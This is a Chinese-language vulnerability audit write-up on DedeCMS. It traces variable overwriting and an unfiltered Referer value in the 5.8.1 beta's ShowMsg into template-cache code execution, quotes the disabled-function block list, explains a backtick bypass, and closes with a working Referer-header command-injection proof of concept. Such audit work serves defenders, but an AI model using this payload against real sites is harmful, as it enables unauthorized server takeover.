前言
偶然看见织梦cms报了一个0day,未授权命令执行,好家伙还有这种洞。赶紧看看。
千里目实验室-dedecms未授权访问
这里吐槽一下国内的传谣能力太离谱,5.8的命令执行硬是被传成了全版本命令执行。导致我踩了不少坑,所以本文是对dedecms全版本的审计过程而非单纯的复现。
审计
前期摸索
当时看到文章,关键字为未授权、变量覆盖、模板注入、命令执行。那我第一个联想到应该是通过变量覆盖来控制模板文件的include函数,从而达到rce的目的。
那导致变量覆盖的函数,常用的为extract
和$$
,正则搜索后,过滤dede目录下的文件(因为是未授权漏洞)。
最先注意到的是include/common.inc.php,它被包含在了config文件里,也就是说他是一个全局的文件,其中有这样一段代码:
if (!defined('DEDEREQUEST'))
{
//检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤)
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
if($_k == 'nvarname') continue;
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val) )
{
exit('Request var not allow!');
}
}
}
//var_dump($_REQUEST);exit;
CheckRequest($_REQUEST);
CheckRequest($_COOKIE);
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes($_v);
}
}
}
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}
它对REQUEST的参数进行一个变量覆盖,也就是说dedecms自带一个全局的变量覆盖,但它经过了一个严格的过滤,导致无法直接利用。但防御函数中缺少_SERVER
和_FILE
的过滤,但没有进一步的利用点。
在这个文件中,使用了${$_k}
和$$_request
这两种存在变量覆盖可能的用法,那我们进一步做正则搜索\${&\w+}
可以找到inlcude/filter..inc.php中存在相同的用法。
$magic_quotes_gpc = ini_get('magic_quotes_gpc');
...
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
${$_k} = _FilterAll($_k,$_v);
}
}
//_FilterAll函数仅过滤一下敏感字,并不过滤危险字符。
那我们再次获得了一个很有趣的变量覆盖,他的利用点在于它启用了magic_quotes_gpc
,若PHP magic_quotes_gpc=off,则写入数据库的字符串未经过任何过滤处理。从数据库读出的字符串也未作任何处理。而它又会影响addslashes
函数,所以在php7.4后删除了magic_quotes_gpc
。
那我们查找那些文件包含了filter.inc.php
在bookfeedback.php中,存在sql注入。
但这个注入很鸡肋,因为在dedecms中有全局的checksql函数,有兴趣的可以去看一看这个函数的过滤,堪称sql注入的完全防御,除了user()、database()这类函数没有禁用其他都被禁用。
命令执行
找到原作者的文章后,我才了解到命令执行只存在于dedecms的5.8.1版本,改版本为内测版本,你可以从github上下载。
这个版本对部分的代码做了重实现,想使用更好的方式去做展示。比如渲染。
我们可以发现在dedecms中常出现用echo返回数据
而在5.8中,开发者选择了使用模板去渲染页面
类在5.7中已经存在,但一般使用固定的模板渲染,如
这样并不存在利用空间,而5.8中提供了参数可控的模板渲染,在include/commonn.fun.php中
function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
if (empty($GLOBALS['cfg_plus_dir'])) {
$GLOBALS['cfg_plus_dir'] = '..';
}
if ($gourl == -1) {
$gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if ($gourl == "") {
$gourl = -1;
}
}
//···
$litime = ($limittime == 0 ? 1000 : $limittime);
$func = '';
//···
if ($gourl == '' || $onlymsg == 1) {
//...
} else {
// ...
$func .= "var pgo=0;
function JumpUrl(){
if(pgo==0){ location='$gourl'; pgo=1; }
}\r\n";
$rmsg = $func;
//...
if ($onlymsg == 0) {
if ($gourl != 'javascript:;' && $gourl != '') {
$rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
$rmsg .= "<br/></div>\");\r\n";
$rmsg .= "setTimeout('JumpUrl()',$litime);";
} else {
//...
}
} else {
//...
}
$msg = $htmlhead . $rmsg . $htmlfoot;
}
$tpl = new DedeTemplate();
$tpl->LoadString($msg);
$tpl->Display();
}
关键点有这么几个
$gourl == -1
且存在$_SERVER['HTTP_REFERER']
,那么$gourl就是一个可控参数$rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>"
中gourl未经过滤就被拼接到rmsg中, msg参数直接被LoadString函数接收,存在注入可能
那我们继续跟进LoadString函数
public function LoadString($str = '')
{
$this->sourceString = $str;
$hashcode = md5($this->sourceString);
$this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc";
$this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";
$this->ParseTemplate();
}
传入参数被sourceString直接接收,再跟进Display函数
public function Display()
{
global $gtmpfile;
extract($GLOBALS, EXTR_SKIP);
$this->WriteCache();
include $this->cacheFile;
}
跟进,进入WriteCache函数
public function WriteCache($ctype = 'all')
{
$fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");
flock($fp, 3);
$result = trim($this->GetResult());
$errmsg = '';
if (!$this->CheckDisabledFunctions($result, $errmsg)) {
fclose($fp);
@unlink($this->cacheFile);
die($errmsg);
}
fwrite($fp, $result);
fclose($fp);
//...
}
public function GetResult()
{
if (!$this->isParse) {
$this->ParseTemplate();
}
$addset = '';
$addset .= '<' . '?php' . "\r\n" . 'if(!isset($GLOBALS[\'_vars\'])) $GLOBALS[\'_vars\'] = array(); ' . "\r\n" . '$fields = array();' . "\r\n" . '?' . '>';
return preg_replace("/\?" . ">[ \r\n\t]{0,}<" . "\?php/", "", $addset . $this->sourceString);
}
在GetResult函数中调用了sourceString,返回拼接后的result
function JumpUrl(){
if(pgo==0){ location='';<?echo system($c)?>;location=''; pgo=1; }
}
但之后会经过一个CheckDisabledFunctions
处理
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
用点ctf手段就能绕过去,最简单的可以使用反引号来执行
POC:
/plus/flink.php?dopost=save
referer: ';<?echo `whoami`;?>;location='
结语
目前dedecms已经对漏洞修复,修复方法也很直接,抹掉了能直接操作gourl的机会。但挖掘的思路很值得学习。程序的功能和交互越复杂,越可能产生漏洞。
Comments | NOTHING